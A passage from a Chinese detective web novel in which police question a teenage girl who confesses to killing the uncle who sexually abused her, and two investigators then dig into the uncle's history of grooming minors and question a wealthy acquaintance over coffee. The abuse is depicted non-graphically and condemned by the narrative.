秦聿风肃声问道:“从什么时候开始的?”
叶怡然撑着额角,声线微颤:“大概几个月前,我发现诗言来家里的次数越来越频繁,宏远看她的眼神也越来越不对劲。”
“有一回我带可可出去买东西,回来的时候发现他们两个人衣衫凌乱,看起来很慌张。我虽然觉得奇怪,但一开始也没往那方面想,毕竟诗言年纪那么小,算起来宏远还是她舅舅,没想到……”
秦聿风又问:“她怀孕的事你知道吗?”
叶怡然愣了一下,显然是没想到警方会查到这个地步,半晌才点头:“宏远跟我说她是被学校外面的坏孩子骗了,不小心怀了孕,我当时心疼她,还给她做了很多好吃的补充营养。她怎么会,怎么会……”
说完把脸埋进掌心里低声呜咽。
“所以你知道她怀的是吕宏远的孩子?”
“嗯。”
秦聿风从桌上抽了两张纸巾递给她,看她擦干眼泪才说:“其实我们叫你来,是因为方诗言说想要见见你。”
叶怡然闻言顿了一下,却摇头拒绝:“对不起,我不知道要怎么面对她。虽然宏远是她舅舅,但我们年纪相差不多,我一直把她当成妹妹来看,可是她居然做出这种事情。我想不明白,她为什么要把宏远推下楼……不过请你们转达,即便如此,我还是会替她照顾好她妈妈。”
秦聿风似乎从她话里捕捉到了什么端倪,双眉微皱,正要开口询问,就看到温珣拿着一份文件走过来,远远给他递了个眼神。
他暂时放下跟叶怡然的谈话,走到温珣身前接过比对结果认真看了一遍,面色逐渐变得凝重起来。
从他的表情上看,祝好已经能猜到那份文件足以证明方诗言跟吕宏远的死有直接关系。
他把文件还给温珣,朝着一位警员挥了挥手。
警员心领神会,对叶怡然道:“叶女士,感谢你的配合,你可以走了。”
叶怡然欲言又止,最后还是点点头,从椅子上起身。
等她的背影消失在警局门口,秦聿风才走向会客室,打开门,对着里面说了句什么。
方诗言很快被两名女警员从会客室带出来,穿过走廊,去了审讯室。
透过单向玻璃,祝好看到方诗言双眼噙着泪,浑身都在剧烈颤抖,短发的发梢被汗水打湿。
秦聿风走进审讯室,不轻不重地把手里的文件掼在桌上,没有马上说话,而是坐在桌子前翻看资料。
过了十来分钟,方诗言忍不住率先开口问:“警察叔叔,小叶姐呢?”
声音很小,但很急切。
秦聿风收起了那份一贯的亲切,没回答她的问题,语气也变得强硬起来:“方诗言,刚才DNA比对结果已经出来了,那天跟吕宏远在黄金假日大酒店1808号房的是你吧?”
方诗言猛地抬头惊恐地看着他,过了许久都没有说话,突然似乎意识到什么,哽咽道:“小叶姐是不是不愿意见我?”
秦聿风一言不发地盯着她。
方诗言双眸陡然之间黯淡下来,喃喃道:“对不起,是我的错,给你们添麻烦了。”
第34章
两年前,方诗言14岁,在小县城的一所普通中学念书。
身为顶梁柱的爸爸在几年前因工伤意外去世,妈妈又患有严重的糖尿病,需要长期服药,定期注射胰岛素,无法外出工作。母女俩只能挤在一室一厅的家属房里,靠着爸爸厂里的赔偿款艰难度日。
在一场盛大的家族聚会中,她第一次见到吕宏远,以及他身边年轻貌美的妻子和腼腆可爱的女儿。
按照错综复杂的辈分关系,她要管吕宏远叫舅舅。
妈妈告诉她,舅舅的事业发展得很成功,在大城市经营一家公司,据说这场聚会就是他为了团聚家族亲情而筹办的。
觥筹交错的饭局进行到一半时,妈妈带着方诗言去了吕宏远那桌,说了几句客套话之后,让她以茶代酒,敬了他一杯。
在
方诗言的印象中,吕宏远文质彬彬,说话也十分客气,并没有因为两家人的悬殊的经济地位而对她们表现出任何轻视。
在得知她家的情况后,吕宏远提出可以资助方诗言到淮江市读书,这样方妈妈就能安心养病,也不用为了方诗言的学费而费心了。
起初方妈妈只当他是客套,没想到第二天,他不仅提着礼物上门来探望,还表示自己会替方诗言把转学手续办好,并承担她在淮江市的所有开销。
方妈妈几乎没有任何犹豫就答应了。
那天晚上,她摸着方诗言的头轻声说:“诗言,这可能是你唯一一次飞出小县城的机会了,你要好好把握。”
方诗言似懂非懂的点了点头。
她向来是个听话的孩子,当天晚上就默默收拾好了行李,跟着吕宏远一家去了淮江市。
吕宏远没有食言,他把她安排到淮江市最好的中学,给她买了新手机、新衣服,还时不时把她带回家吃饭。
他的妻子叶怡然年轻、温柔又漂亮,做得一手好饭。比起“舅娘”这个称呼,方诗言觉得她更像是自己的姐姐,所以管她叫“小叶姐”。
他们的女儿吕可性格内向,只有对方诗言才会敞开心扉。方诗言也很喜欢这个比她小几岁的妹妹,知道她朋友不多,只有一有时间就会来家里陪她一起画画、拼图。
遇上他们一家人,方诗言觉得自己幸福又幸运。
直到那一天——
说到这里,方诗言沉默片刻,礼貌地小声问道:“警察叔叔,我有点口渴,请问可以给我一杯水吗?”
秦聿风点点头,示意负责记录的女警员给她倒了一杯温水。
方诗言双手接过纸杯,道了声谢谢,轻抿一口目光落在袅袅升腾的热气上。
过了许久,才继续开口。
那天是吕宏远的生日,叶怡然做了一桌好菜。放学后,方诗言也如约来到家里,还用自己攒下来的奖学金给吕宏远买了一条领带作为生日礼物。
吕宏远心情大好,在饭桌上小酌了两杯,不停夸赞她懂事。
饭后,趁着叶怡然带吕可出门买东西时,吕宏远把方诗言叫到房间里,从衣柜拿出一个大盒子,说也要给她送个礼物。
方诗言有些奇怪,明明是他的生日,为什么要给自己送礼物呢?
虽然不解,但还是听话地打开了盒子。
盒子里躺着一套白色的泡泡袖连衣裙,蓬松的大裙摆上装饰着粉色的蕾丝和缎面蝴蝶结。
“这是洛丽塔风格,喜欢吗?”吕宏远笑眯眯地看着她。
其实方诗言不喜欢这种太华丽的服饰,但她向来不会拒绝别人的好意,于是乖巧地点头道:“喜欢。”
“那你换上,让舅舅看看合不合适。”
方诗言踌躇了一会儿,还是转身进了卫生间,把裙子换上了。
第一次穿上这种衣服,她浑身不自在。从卫生间里出来时,看到吕宏远半躺在床上,手撑着脑袋,眼神迷离。
他抬手示意:“别扭扭捏捏的,转一圈。”
方诗言缓缓转了一圈。
吕宏远又对她招了招手:“背后的蝴蝶结没系好,你过来,舅舅帮你整理一下。”
方诗言捏着裙角,僵在原地:“不用了舅舅,我自己来就行。”
一向温文尔雅的吕宏远突然像换了个人,拍着床怒喝:“我说了让你过来!”
这突然一声吓得方诗言下意识往后退了一步:“舅舅,你别这样,我害怕。”
吕宏远起身一把抱住她,不由分说将她扔在床上,死死压在她身上,浓重的酒气喷洒在她的侧脸。
他边在她身上摸索,边喘着粗气说:“诗言,你太漂亮了,舅舅真的很喜欢你。”
方诗言全身颤抖,大脑一片空白。她想将吕宏远推开,可这个平时和蔼可亲的舅舅此刻却如同一座巨山,压得她几近无法喘气。
她带着哭腔低声说:“舅舅,小叶姐和可可马上就回来了。”
吕宏远对她的话置若罔闻,如同久未进食的野兽捕获了一只出生不久的小鹿,眼里满是贪婪:“舅舅为你做了那么多,还给你妈妈出钱治病,你难道就没想过要报答舅舅吗?”
她的眼泪挣扎着溢出眼眶:“舅舅,我将来一定会加倍报答您的。”
吕宏远微笑着擦去了她眼角的泪:“我喜欢你,我要你现在就报答我。诗言,难道你还想回到从前那种生活吗?”
方诗言怔住了,眼前闪过小县城里昏暗逼仄的单间,和妈妈因为并发症溃烂的双脚。
吕宏远在她耳边低声呻吟,滚烫黏腻的手从她的大腿缓缓往上游移。
她闭上眼睛不再挣扎,也没有哭泣。
吕宏远像一只沾满粘液的爬虫,肆无忌惮在新鲜饱满的水蜜桃上蛄蛹、蠕动,而她只是强忍疼痛,瞪大双眼望着天花板,一声也没吭。
“这是强|奸,你为什么不报警?”
听到这里,负责记录的女警员忍不住问了一句。
方诗言垂下眼帘,轻轻摇头:“我……我不敢,他威胁我,如果不乖乖听话,妈妈就没办法继续治疗,我也不能上学了。”
秦聿风皱了皱眉:“所以你才要杀了他?”
方诗言低声辩解:“我没有杀他,他是不小心掉下去的。”
“方诗言,如果我们没有证据,你是不会坐在这里的。”秦聿风起身把几张资料摊开放在审讯椅前的小桌板上:“经酒店证实,推拉窗的锁平时都是扣上的,我们在锁扣和玻璃上都发现了你的指纹,说明窗户是你故意打开的,对吧?”
她到底还只是个高中生,眼界和阅历并不丰富,又或许是她向来不善于撒谎,秦聿风刚把证据摆到面前,她立刻满脸通红垂下头,似乎是为刚才的谎言而感到羞耻,随即很快就承认了。
“我实在不敢反抗,又不想再这么继续下去。我不知道怎么办,没有别的人可以倾诉,又不敢告诉妈妈,所以……所以我只能杀了他。”
说这句话的时候,她止住了眼泪,神情呆滞,像一具木刻的人偶。
方诗言描述的作案过程跟程述推测的大差不差。
她来过这家酒店许多次,每次都是吕宏远先开好房等她,所以她从没在酒店登记系统里留下过信息。
她记下了酒店摄像头的位置,在无人的巷子里换上提前准备好的风衣和帽子、墨镜,遮挡住了自己的面部特征。进了房间后,趁着吕宏远洗澡的功夫,她偷偷打开了推拉窗的锁扣,最后在他毫无防备之时突然把窗子打开,抓住他的双腿往上一抬,他便带着那一身肮脏的罪恶永远跌入了地狱。
做完这一切,她又换上那一身装扮,从计划好的路线离开了酒店,装作若无其事的样子去了吕宏远家。
最后方诗言对着秦聿风颔首,再次道歉:“对不起,警察叔叔,给你们添麻烦了。如果可以的话,替我跟妈妈说声抱歉,我让她失望了。”
祝好觉得胸口像是灌了把冰碴,扯着心脏沉甸甸往下坠。
她退出监控室,靠着走廊的墙缓缓蹲下,把脸埋在膝盖里,长长地吁了口气。
方诗言虽然是施害者,但同时也是受害者。
她本可以拥有闪闪发光的未来,却因为亲手了结残害她的禽兽,将自己带入不见底的深渊。
祝好承认自己只是个普通人,太容易与人共情,做不到铁面无私,更没办法从容冷静地去面对那些隐秘而惨痛的经历。
她甚至觉得吕宏远死得太轻松,恨不得把他那具残破的尸体从冷冻柜里拖出来,扔进阴曹地府的油锅里。
一阵脚步声由远及近,片刻后,一双熟悉的黑色工装靴停在她面前,鞋面上还有几道猫爪留下的抓痕。
祝好抬起头,看到程述眼珠子向下睨着她,两只手指夹着一张纸巾在她面前晃了晃。
她戒备地瞅了他一眼,提防他随时出言讽刺。意外的是,他竟然什么也没说。
她迟疑了一下,伸手接过纸巾:“我没哭,就是心里有点难受。”
说完装模作样地擤了把鼻涕,
把纸巾揉成一团扔进旁边的垃圾桶里。
程述淡淡地嗯了一声:“走吧,任务完成了,可以回家睡觉了。”
祝好扶着墙站起来,捶了捶蹲久了有些发麻的腿,有些不甘心:“就这么结束了?”
程述往审讯室的方向看了一眼,反问道:“不然呢?”
方诗言承认了杀人的罪行,审讯的目的就已经达到了,剩下的是非对错,法律自有定夺。
可是真的就这么结束了吗?
恍然间,程述的身影已经消失在走廊尽头。祝好暗骂一声,拖着仍旧发麻的腿追了上去。
第35章
夜深人静,马路上不时有车辆疾驰而过,车灯如游鱼般从阁楼顶上滑过,随即消失不见。
辗转反侧半天也睡不着,祝好睁眼看着转瞬即逝的光影发呆。
虽然案子结了,她却没有半分破案的喜悦。想起方诗言的话,心里更是难受得紧。
她唤出系统,问道:“这些案子的起因、发展和结局全都是你们设定好的吗?”
系统回答:“本来应该是的,但因为剧情已经脱离了我们的控制,所以除了开头之外,您的每一个选择都会影响剧情的走向。不论过程如何,只有走到设定的结尾,才算完成剧情。”
哦,蝴蝶效应是吧。
祝好又问:“那这个案子是不是没结束?”
系统犹豫了一下:“宿主,抱歉我不能剧透。”
又玩故弄玄虚这套。
祝好眼珠子转了转,计上心头,故作不满:“你们游戏是不是出bug了?”
系统很快否认:“宿主,目前没有发现bug。”
“那为什么这回没有弹出那个‘恭喜您完成本次剧情任务’的提示?”
“因为这一阶段的剧情还没有完成,宿主。”
说完这句话,系统沉默了三秒钟,突然反应过来自己好像被套路了,然而为时已晚。
这个案子果然还没有结束!祝好腾一下坐起来,翻身下床,踩着楼梯来到了一楼客厅。
她猜得没错,对方诗言的审讯只是解开了表面的疑问,更深层的真相还有待挖掘。
客厅里一片漆黑,只有程述房间门下的缝隙隐隐透出一丝光亮。
他应该还没睡,隔着门能听到房间里细微的说话声,像是在和谁打电话,但是听不大清楚通话内容,只能隐约分辨出“玉”“貔貅”之类的词。
片刻后,说话声停了,祝好才伸手敲了敲门,明知故问道:“老大,你睡了吗?”
里面传来程述含糊的声音:“嗯,早就睡着了。”
祝好当作没听见:“那你能不能醒一醒,我有事想跟你说。”
程述回她:“不能,有什么事明天再说吧。”
“那我可要开门了啊。”
祝好作势拧动门把手,本来只是装模作样吓吓他,没想到门居然没反锁,一拧就开了。
她吓得一激灵,刚想把门关上,白眼狼就冷不丁从她脚下钻过挤进门缝里,用肥硕的身体把房间门给顶开了。
大概是没想到祝好真的会开门进来,程述一下子也愣住了,举着哑铃的手停止在半空中。
房间里的空气仿佛陡然间凝滞,两人四目相对,相顾无言。
祝好的视线缓缓下移,落在他紧实流畅的肌肉线条上,隐晦地咽了下口水。
直到白眼狼“喵呜”一声打破宁静,她才猛然反应过来,捂着眼睛嗷了一嗓门:“你为什么不锁门啊!!”
程述对她恶人先告状的行径感到无语:“我也没想到你会半夜十一点来开我房间门啊。”
祝好把锅甩到了白眼狼身上:“不是我开的,是白眼狼!”
好在程述没有跟她就这个话题纠结下去,无奈地放下哑铃,从床边拿起一件T恤套在身上:“大半夜不睡觉,你到底想干什么?”
祝好这才想起自己下楼的目的,清了清嗓掩饰自己的失态:“我想跟你聊聊方诗言的案子。”
程述不以为然:“方诗言的案子有什么好聊的?证据确凿,她也已经招供了。”
说着把白眼狼从床上抱起来扔出客厅,接着就要关门。
祝好堵在门口不肯罢休:“十分钟,就十分钟,我觉得这案子还有疑点。”
“真服了你,大半夜把人从房间里薅出来跟你聊案子。”他叹了口气,绕开祝好走向厨房,从冰箱里拿了两瓶苏打水,把其中一瓶扔给她:“十分钟倒计时开始。怎么,你觉得人不是方诗言杀的?”
祝好摇头。
在1808号房的床单和吕宏远身上都提取到了方诗言的DNA,并且警察也在她宿舍的衣柜找到了监控视频里出现的风衣和帽子。
这一切都能证明,她和吕宏远的死脱不了干系。
根据方诗言的供词,她的作案手法和作案时机都十分明了,可祝好却觉得她的作案动机有些奇怪。
她当初选择忍气吞声,默默忍受吕宏远的凌辱,有很大一部分原因是不忍看到妈妈继续被病痛折磨,更不想回到过去那种生活。
可吕宏远一旦死了,就算警方查不到她,她也一样会失去所有经济来源。
那她为什么还要这么做?
换个问法,到底什么才是她费尽心思杀死吕宏远的导火索?
程述拧开瓶盖喝了一口水,饶有兴趣看着她:“你觉得为什么?”
又来了。
祝好对他翻了个白眼,没好气道:“你是不是又想像白天那样打发我。”
“这不是打发,是讨论,我想先听听你的想法。”
这话说得义正严辞,祝好一时竟没法反驳。
她认真思索了一番:“难道是因为吕宏远做了什么太过分、而且让她无法忍受的事?比如虐待、殴打什么的。”
程述否认了她的想法:“如果是这样,那在审讯的时候她就应该说出来,而不是用‘我实在不敢反抗,又不想再这么继续下去’来一笔带过。”
有道理。
如果她真的遭受过吕宏远的虐待,那么说出来至少还能在法庭上为自己争取更多机会。可她对自己的作案动机却描述得很模糊,似乎在刻意隐瞒什么。
祝好想了想:“其实我一直有个猜测——啊不,推测。按照叶怡然生下吕可的时间推算,她至少在18岁之前就认识吕宏远了,会不会其实他们在一起的时间比我们想的要久得多?换个说法,会不会他们认识的时候,叶怡然的年龄就跟方诗言差不多?”
警方对叶怡然的社会关系进行过调查,发现她的背景十分清白,从十三年前来到淮江市之后就没有任何上学或者工作的记录。
十三年前,她恰好只有十三四岁。
程述迅速反应过来:“你觉得吕宏远有恋童倾向?”
祝好点点头,同时感到一阵恶寒顺着脊背爬上颅顶。
——如果这个推测是对的,那么在叶怡然生下吕可,并且年龄逐渐增长,吕宏远很快就对她失去了兴趣,所以他们的婚姻实际上早已名存实亡。
吕宏远需要新的泄欲对象,在见到方诗言的第一面,他就把这个腼腆、胆怯的女孩当成了新的猎物,戴上一副伪善的面具,将她一步步引入圈套中。
程述眼帘微微一垂,若有所思:“这么想来,吕宏远的行为的确很符合剥削型儿童性侵者的特征。”
祝好那颗勤学好问的心燃了起来:“展开说说,什么是剥削型性侵者?”
“儿童性侵者被分为几种类型:固恋型、退缩型、剥削型和攻击施虐型。”
“剥削型性侵者的原始作案动机是满足自己的性需求,所以他们会不择手段,抓住对方的弱点,采用各种策略逼对方就范。剥削型的行径可包括口头恐吓、限制、操控、威胁、身体接触,利用受侵害对象的天真、无助和敬畏心来阻止他们任何形式的反抗,并获得他们的服从。”*
这么一想,吕宏远在侵犯方诗言时说的那些话,不就是恐吓和威胁吗?
程述继续道:“但是方诗言性格懦弱,习惯逆来顺受,属于负担型的性侵对象。《房思琪的初恋乐园》你读过吗?她跟里面的主角比较相似,虽然知道自己在受侵害 ,却因为各种原因选择忍气吞声,甚至是说服自己爱上施害者。如果不是有外力推动,她应该不会做出太过激的行为。”
“外力推动?”祝好脑子里打过一道闪:“你说的这个外力会不会是叶怡然?”
毕竟从请私家侦探去跟踪偷拍到吕宏远坠楼后,叶怡然的一系列举动都很诡异,很难不让人起疑。
程述嘴角闪过一抹笑,答非所问:“你还记不记得,第一次去吕宏远家的时候,他墙上挂了很多字画,架子上也有很多摆件?”
祝好点点头,第二次去找叶怡然的时候,她也注意到了那些名画和摆件都不见了。当时叶怡然说是担心自己睹物思人,所以收起来了。
她不解:“有什么不对的吗?”
程述轻笑一声:“睹物思人?吕宏远摆在门口鞋架上的鞋子都没收拾,反而把值钱的摆饰给收拾了。”
祝好忍不住问:“有多值钱?”
“那些字画和摆件都是藏品级别的,价格不菲。就拿柜子里那只玉貔貅来说,上好的羊脂白玉、精致的雕工,我找人问了下市场价。”他伸手在祝好面前比了个“耶”:“至少也值这个数。”
祝好愕然:“就这么小一个玩意儿,要两万块钱?”
程述扶着眉心,看她的眼神里写着“你怎么就这点儿出息”:“再加个零。”
二十万?
祝好抹了把汗,有钱人的生活真是不一样,六位数的东西就这么大剌剌摆在柜子里,也不怕被人给薅走了。
“你的意思是,叶怡然可能把那些东西变卖了?”
程述不置可否:“我已经让人打听了,这种质量上乘的玉器出现在市场上,玉石圈子的人一定会有耳闻。”
没想到他人脉还挺广,看来这几年的私家侦探生涯也不只是替人抓猫找狗了。
不过祝好想不明白,叶怡然为什么那么着急呢?毕竟吕宏远死后,他的大部分财产都会归到她名下,根本不需要急着把这些东西卖掉。
她的背后,到底藏着什么秘密?
祝好突然想到什么,转头问程述:“你也觉得这案子有疑点吧?不然也不会大半夜打电话向人打听玉貔貅的事儿。”
“想到了就随便打个电话问问而已。”程述斜乜她一眼:“等等,你半夜开我门就算了,还偷听我讲电话,到底想干什么?”
“谁偷听你讲电话了,要怪就怪这房子隔音太差。”话虽如此,祝好还是莫名有些心虚,连忙转移话题:“对了,当初是谁把你的联系方式给叶怡然的?”
“一个老客户。”
“哪个老客户?”
程述随口答道:“一个姓陈的富太太,她好像跟叶怡然关系还不错。”
祝好想起那天替他接起的那个电话,眼睛一眯:“不会是那个‘很烦,尽量不要接’的陈太吧?”
他撇了撇嘴,算是默认。
祝好嘴角泛起一个不怀好意弧度,搓了搓手道:“她不是一直想约你吃饭吗?你能不能——”
他立刻明白了她的意思,抬起手掐断了她的话:“不能,我只卖艺不卖身。”
祝好双手合十,眨巴着水灵灵的眼睛看着他:“老大,求你了。”
他面无表情,完全不吃这套:“不要。”
祝好啧了一声:“我又没让你委身于她,吃个饭而已,又不会少块肉。你也知道,这些富太太之间最喜欢聊八卦了,你一定能从她那里套出些什么话来。”
程述不屑:“八卦有什么用?”
祝好摆出一副“你不懂”的表情:“这你就不知道了吧,八卦不会凭空出现,一定是基于某件事实衍生出来的。只要用心分辨,就一定会有收获。”
他还是把头摇得像拨浪鼓:“不去。十分钟到了,谈话结束,请你滚回去睡觉吧。”
祝好深吸一口气,决定豁出去了:“如果你答应了,我就承包一个星期的家务活,外加你的一日三餐。”
程述这才来了兴趣,挑了挑眉:“你还会做饭?”
祝好没好气道:“反正吃不死你。”
他露出沉吟不绝的神色,似乎是在思考这场交易值不值得,半晌终于伸出一只手指:“一个星期太少了,一个月。”
“哈?!”祝好恨不得冲进厨房拿把水果刀掀开他的脸,看看脸皮到底有多厚。
程述悠然自得地抱着双臂:“你说得很有道理,作为一个家庭主妇,叶怡然的交际圈很窄。这么想想,好像也真的只有住在她家附近、经常跟她一起喝下午茶,还能把我介绍给她的陈太对她比较了解了。但是陈太呢,每天又要打麻将,又要去美容院,忙得很,想把她约出来可不容易啊。”
祝好捏紧拳头,开始给自己洗脑:罢了,别跟他一般见识。毕竟必须把这段剧情过完,才能进入下一个阶段。
而且一想起方诗言的遭遇她心里就难受,或许只有查明真相才能让自己好受一些。
最终她咬了咬牙,默默咽下了这口气:“行吧,一个月就一个月。”
第36章
不出所料,接到程述的电话,陈太立刻就答应赴约了,还发来一个地址——市中心的一家咖啡厅,时间定在翌日午后。
祝好拉着程述提前半个小时到了咖啡厅,选了个靠窗的位置坐下,对他耳提面命,让他整理好衣领,嘱咐他多笑一笑,说话的时候客气点,別一张嘴就把人气跑了。
程述扶着额头不耐烦地朝她挥手:“得了得了,这还用你教,我那么多年的私家侦探白干了。”
祝好“切”了一声,起身在隔着一条走道的隔壁桌坐下,顺手翻开了桌上的菜单,立刻倒吸一口凉气——所有的咖啡都是三位数起步,最贵的标王瑰夏居然能卖到四位数。
难怪这家咖啡厅几乎没什么客人,能把“约会”地点选在这儿,不敢想象陈太到底多有钱。
不过转念一想:要换取情报,不下点儿血本怎么行?大不了待会儿用积分换点现金就是了。
于是她把菜单翻了又翻,招手叫来服务员,选了整家店里唯一只卖两位数的东西——一杯68块钱的柠檬水。
服务员刚转身离开,咖啡厅的门就被推开了,一阵甜腻的香水味被风带进店里。祝好循着味儿往门口望去,就看到一个烫着大波浪、穿着酒红色连衣裙的女人踩着细高跟走进来,浮夸地朝着程述招了招手:“哎呀,程先生,久等了吧?”
听这声音,就知道是传说中的陈太来了。
程述换上一副人畜无害的笑脸,起身替她拉开椅子,做了个“请”的手势:“陈太,好久不见。”
陈太在椅子上坐下,把蓝色的鳄鱼皮挎包随意放在桌上,娇笑道:“确实好久不见,想见你一面还是真不容易。哟,剪头发啦?不错,看起来精神多了,是为了来见我特地换的发型吗?”
程述抿嘴淡淡一笑,不着痕迹地回避了这个话题,把菜单递给她:“陈太喝点什么?”
“我都可以,你看着点吧。”
“耶加雪菲怎么样?”
陈太太皱眉:“那么便宜的玩意儿能喝吗?”
说着招手唤来服务员,从手提包里拿出一张黑色的卡片递过去:“两杯标王瑰夏。”
人与人之间的差距怎么能那么大呢,祝好愤愤地低头用吸管搅着面前的柠檬水,余光偷偷望向陈太太。
听程述说她有四十岁出头,加上在电话里咋咋呼呼的,祝好先入为主把她想象成电影里那种包租婆形象,没想到她长得挺漂亮。因为保养得当,看起来也比实际年龄要年轻不少。
程述笑了笑:“陈太,您这也太破费了。”
切,口是心非的男人。
陈
太托着腮,报以嫣然一笑:“不破费,托你的福,我终于摆脱那个软饭男的纠缠了。”
说完又冷哼道:“花着我的钱,还敢在外面跟别的女人好,要不是你帮我拍到那些照片,我还没办法让他净身出户呢。”
程述笑:“陈太不用客气,你花钱,我办事,应该的。”
“你也别叫我陈太了,我现在呀,单身。”
她话里有话,但程述继续卖傻:“那我称呼您陈女士……不,您那么年轻,还是叫陈小姐比较合适。”
陈太看起来比电话里要优雅得多,她点了支细长的女士香烟,突然想起什么:“你今天约我出来什么事呀?”
程述也没卖关子:“这个嘛,一是想当面感谢您给我介绍客户,二个是想跟您了解一些情况。”
当面感谢,还要人家请喝四位数的咖啡,得亏他脸皮够厚,换做别人打死也说不出这句话来。
陈太假意哀叹一声:“我说呢,约了你那么多次你都不肯出来,还挂我电话,这会儿怎么会主动找我,原来还是想找我打探消息。你呀,没安好心。”
程述干巴巴地笑:“嗐,瞧您说的,我这不是……忙嘛。”
陈太把烟挟在两指之间,身体往椅背上靠:“说吧,什么事儿?”
程述刚要开口问,就看到服务员端着两杯咖啡朝这边走来。
他把咖啡放在桌上,礼貌向陈太颔首:“女士,抱歉,我们这儿不让吸烟,会影响其他客人的。”
陈太不乐意了:“怎么啦,你们这儿也没什么客人,我影响谁了?”
说完转向坐在隔壁桌的祝好:“小姑娘,我抽烟影响到你了吗?”
正假装低头看书的祝好突然被cue到,心里突了一下,连忙摆手:“不影响不影响。”
陈太手一摊:“看到没,别人都说了不影响,把她的消费一起记我账上就行。”
看着面前的柠檬水,祝好登时有些后悔。
程述仿佛看穿了她的心思,给她递了个“真没出息”的眼神。她也不甘示弱,用眼神回他“你也好意思说我”。
服务员对这位消费大户有些无可奈何,只好转身离开。
程述端起咖啡杯抿了一口,进入正题:“您上回给我介绍了一位姓叶的客户,您还记得吗?”
陈太说:“哦,你说叶怡然啊,当然记得啦。之前她说怀疑自己老公出轨,想找个人拍点证据,我立刻就想到了你,没想到她老公居然死了。这下好了,官司都不用打了。”
看来吕宏远的死已经传遍了整个富人圈子。
程述问:“您跟那位叶女士是怎么认识的?”
“吕总是开建筑公司的嘛,跟我还有点业务上的往来。有一回我们聚餐,他也带着叶怡然来了。饭吃到一半,他突然胸闷、心慌,叶怡然都吓懵了,还是我张罗着把他送去医院才抢救过来的,才知道他对海鲜过敏。从那件事之后我跟叶怡然也就相熟了,正巧我女儿跟她女儿还是一个班的,就经常在一起聊天。”
陈太吐出一口烟雾,继续道:“该说不说,我还挺羡慕她的,年轻、有钱、死老公,以后的人生可不要太美好。”
祝好撇了撇嘴,心说那可不一定。
程述接着问:“听说她女儿都9岁了,她也才27,那岂不是很早就跟她老公好了?”
陈太回道:“我家的保洁阿姨是她的同乡,对她的事有点儿耳闻。听说她家境挺惨的,家里只有个奶奶跟她相依为命,连学费都付不起。有一年吕总去她们那儿搞了个什么扶贫项目,就把她带到淮江市来了,当时她才十二三岁吧。她们那儿的人都说,她是遇上贵人了。”
顿了顿,她突然转头看了看祝好。祝好假意低头翻书,随手把碎发捋到耳后,“不经意”露出耳朵上戴着的蓝牙耳机。
确认周围没有人会听到,她这才压低声音,继续道:“后来的事儿我也不太清楚,只知道她怀孕时才十八岁,生下女儿后就跟吕总领了证。要我说,那个吕总也不是什么好鸟,说不定带她回来就是把她当童养媳呢。”
按照陈太的说法,他们的推测应该是正确的——吕宏远是个该死的恋童癖。
程述显然也意识到了这一点,表情变得严肃起来:“您说您家女儿跟吕可是一个班的,吕可的性格一直都那么孤僻吗?”
陈太轻轻叹了口气:“也不是,可可虽然内向,但还没像现在那么孤僻。听我女儿说,大概从两个月开前她就像变了个人似的,谁说话她都不理,整天就躲在角落里一个人写写画画。”
祝好心里咯噔一下,霎时间头皮发麻:两个月前?也就是说,吕可是最近才变成这样的。
回想起第一次见到吕可时她那些怪异的举动,对男性下意识的恐惧,以及压抑诡异的涂鸦,似乎都在述说一个令人悚然的事实……
难道禽兽不如的吕宏远连自己的亲生女儿也不放过?
她望向程述,见他垂着眼帘,神情凝重,双手交叉放在鼻端,十有八九是跟她有了同样的推测。
陈太突然扬起声调“诶”了一声,打断了她的思绪:“等等,程先生,你怎么突然对叶怡然那么关心,该不会是看上她了吧?”
语气里明显带着一丝醋意。
程述愣了一下,连忙摆手:“没有没有,我就是有点好奇。再说了,她哪儿能跟您比呀?”
陈太冷哼:“那倒是,我要能年轻个十岁,不知道能迷倒多少男人。”
眼看有用的信息都问得差不多了,程述抬手看表,对陈太笑了一下:“今天太谢谢你了,陈小姐,抱歉占用了您那么多时间,那我——”
话还没说完就被陈太打断,她显然有些不开心,眉头微皱:“这就要走啦?我可是推掉了一个会议才来赴约的,你套到信息就过河拆桥,是不是不太厚道啊?”
程述嘴角一抽:“瞧您说的,我这不是怕耽误您正事嘛。”
陈太翘着兰花指摆弄自己着镶钻的美甲:“我没什么正事了,就晚上在KTV有个局,作为感谢,你陪我去唱唱歌吧。”
祝好差点没忍住笑出声来,赶紧抬起书挡住自己的脸,但还是能感受到程述眼角飞来的一记冷刀。
他干笑一下:“我这五音不全的,去了给您丢脸。来日方长,我们下次有空再约嘛。”
陈太冷哼一声:“下次?我怕你转身就把我拉进黑名单咯。”
“哪儿能啊,我是那种人吗?”
祝好余光看到他心虚摸了摸鼻子,呵,撒谎时的典型机械反应。
他想了想:“这样吧,你待会要去哪儿?我开车送你。”
好在陈太还算通情达理,看他实在不愿意,也没再勉强,从包里掏出一把豪车的钥匙递给他:“那送我到KTV就行,开我的车。”
两人起身时,祝好微微抬眼,用眼神向他表达了同情:“老大,你辛苦了,组织会记住你的牺牲的。”
程述也用眼神回复她:“滚。”
第37章
陈太没有食言,走之前顺带把祝好的账也给结了。
祝好满怀感激地隔着落地玻璃目送他们上了陈太那辆粉红色敞篷跑车,车没有马上开走,程述似乎在低头摁手机。
片刻后,口袋里传来“叮”的提示音,祝好掏出手机一看,是程述发来的信息:“红烧排骨,番茄炒蛋,三鲜汤。”
她内心一声叹息,真麻烦,这怎么还点上菜了,要不陪陈太在KTV嚎两声,顺便吃点儿小吃得了。
抱怨归抱怨,答应的事还是要做到的,言而无信可不是她的作风。
做饭当然要先买菜,她点开地图,发现附近就有个超市,心想也好,权当去逛逛街了。毕竟自从来到游戏里,不是破案就是在破案的路上,连个外出散心的机会都没有。
不过她身上就剩下几十块零钱,还不够打车回家呢,于是点开控制面板,用20积分兑换了200块钱现金。
200块钱说多不多,说少至少也足够她买菜和添置一些日用品了。
祝好把书放回咖啡厅的书架上,推开玻璃门,跟着地图上的导航往超市走去,路过奶茶店时还给自己点
了一杯奶茶。
奶茶到手,迫不及待插上管猛吸了一大口,她感动得眼泪差点掉下来,这久违的快乐终于回来了。
万幸这游戏做得足够逼真,连奶茶都跟现实世界里的一个味儿。
超市离咖啡厅不远,只有十分钟路程。这家超市规模还算大,从家居用品到食品生鲜一应俱全。
她拉了个小推车先在包装食品区逛了一圈,选了几包零食,又在日用品区给自己买了一套新的洗漱用品,还挑了一张印着小猫图案的门帘——她住的阁楼没有门,虽然程述还算是个正人君子,平时基本不会上来,但还是挂上帘子更有安全感。
